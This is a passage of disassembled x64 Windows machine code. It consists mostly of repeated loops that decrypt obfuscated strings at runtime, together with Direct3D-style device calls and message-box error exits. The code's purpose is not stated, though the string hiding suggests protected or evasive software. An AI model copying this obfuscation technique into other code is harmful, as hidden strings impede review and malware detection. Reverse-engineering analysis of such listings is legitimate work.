add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140074e90
movss dword [rsp + 0x20], xmm8
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.14000a1b0
subss xmm6, dword [rax]
mulss xmm6, xmm9
movss dword [rbp + 0x1d8], xmm6
mov dword [rbp + 0x1dc], 0x43020000
lea rcx, [rbp + 0x1d8]
call fcn.140012610
movups xmm0, xmmword [str.qZA_YM_]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x1400dcd90]
mov dword [rbp - 0x60], eax
cmp byte [0x1400dcd93], 0
je 0x1400750b3
mov r8d, esi
cmp r15d, 2
jl 0x14007506e
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140074f61
cmp r8d, 0x14
jge 0x1400750b3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140075080
lea rcx, [rbp - 0x70]
call fcn.14002fa40
call fcn.14000f750
mov dword [rbp + 0x1e0], 0x42480000
mov dword [rbp + 0x1e4], 0x437a0000
lea rcx, [rbp + 0x1e0]
call fcn.140012610
mov dword [rbp + 0x1e8], 0x42c80000
mov dword [rbp + 0x1ec], 0x42480000
movzx eax, word [0x1400dce94]
mov word [rbp - 0x23], ax
movzx eax, byte [0x1400dce96]
mov byte [rbp - 0x23], Ordinal_79
xor byte [rbp - 0x22], 0x33
xor al, 0x34
mov byte [rbp - 0x21], al
xor r8d, r8d
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp - 0x23]
call fcn.1400303c0
test al, al
je 0x140075139
mov byte [0x140126fc4], 0
mov byte [0x140126f9a], 0
mov dword [rbp + 0x1f0], 0x43660000
mov dword [rbp + 0x1f4], 0x437a0000
lea rcx, [rbp + 0x1f0]
call fcn.140012610
mov dword [rbp + 0x1f8], 0x42c80000
mov dword [rbp + 0x1fc], 0x42480000
mov eax, dword [str.kVG5_]
mov dword [rbp + 0x970], eax
cmp byte [0x1400de43f], 0
je 0x140075253
cmp r15d, 2
jl 0x140075214
movdqa xmm3, xmmword [0x1400dfdd0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400e0080]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400e0080]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400dfef0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x970], xmm2
jmp 0x140075253
lea r9, [rbp + 0x970]
mov r8d, esi
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140075220
xor r8d, r8d
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x970]
call fcn.1400303c0
test al, al
je 0x140075274
mov byte [0x140126fc4], 0
xor ecx, ecx
call fcn.140006f80
test al, al
je 0x140075475
xor edx, edx
xor ecx, ecx
call fcn.140012dc0
movups xmm0, xmmword [0x1400dda78]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [0x1400dda88]
movups xmmword [rbp + 0x198], xmm1
movups xmm0, xmmword [0x1400dda98]
movups xmmword [rbp + 0x1a8], xmm0
movsd xmm0, qword [0x1400ddaa8]
movsd qword [rbp + 0x1b8], xmm0
cmp r15d, 2
jl 0x140075417
movdqa xmm5, xmmword [0x1400dfdd0]
mov edx, esi
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x18c]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140075310
jmp 0x140075463
lea r9, [rbp + 0x188]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140075430
lea rcx, [rbp + 0x188]
call fcn.14002fa40
call fcn.14000ef90
nop
lea rcx, [rbp + 0x500]
call fcn.1400785f0
lea rcx, [rbp + 0x500]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
call fcn.140068cb0
call fcn.14000ef90
call fcn.140009970
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, 0xae
call qword [rax + 0x1c8]
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
mov dword [rsp + 0x30], esi
movss xmm0, dword [0x1400dfb68]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], 0xff728c99
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140075568
call fcn.140009d80
mov rax, qword [0x140126fa0]
mov rax, qword [rax + 0x48f8]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, rsi
cmp byte [rcx], sil
cmovne rax, rcx
mov rcx, rax
call fcn.140037700
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14006fd23
mov rcx, qword [0x14015cbc8]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14006fd23
call fcn.1400766c0
jmp 0x14006fd23
call fcn.140037d60
call fcn.140038250
xor ecx, ecx
call fcn.1400056e0
call fcn.140076670
mov rcx, qword [0x140126fc8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rbp + 0x710]
call fcn.1400785f0
lea rcx, [rbp + 0x710]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x820]
call fcn.1400785f0
lea rcx, [rbp + 0x820]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
jmp 0x14006f79c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x970]
call fcn.140076520
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400757b0
cmp r15d, 2
jl 0x14007577b
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov esi, r12d
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xe
jl 0x140075781
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x1400de670]
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0x970]
call fcn.1400564e0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140075933
mov r8d, esi
cmp r15d, 2
jl 0x1400758fa
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r8d, r12d
movsxd r9, r8d
add r9, rbx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140075900
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.140076550
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140075acf
cmp r15d, 2
jl 0x140075a9a
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140075990
cmp eax, 0x1b
jge 0x140075acf
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1b
jl 0x140075aa0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0x970]
call fcn.1400564e0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140075c53
mov r8d, esi
cmp r15d, 2
jl 0x140075c15
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r8d, r12d
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140075c20
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.1400764c0
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x140075def
cmp r15d, 2
jl 0x140075dba
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140075cb0
cmp eax, 0x17
jge 0x140075def
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x17
jl 0x140075dc0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0x970]
call fcn.1400564e0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140075f73
mov r12d, esi
cmp r15d, 2
jl 0x140075f38
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movd dword [rbx], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r12d, 8
movsxd r8, r12d
add r8, rbx
nop
mov eax, 0x8fb823ef
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r12b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0xc
jl 0x140075f40
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.140056500
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14007610f
cmp r15d, 2
jl 0x1400760da
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140075fd0
cmp eax, 0x13
jge 0x14007610f
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
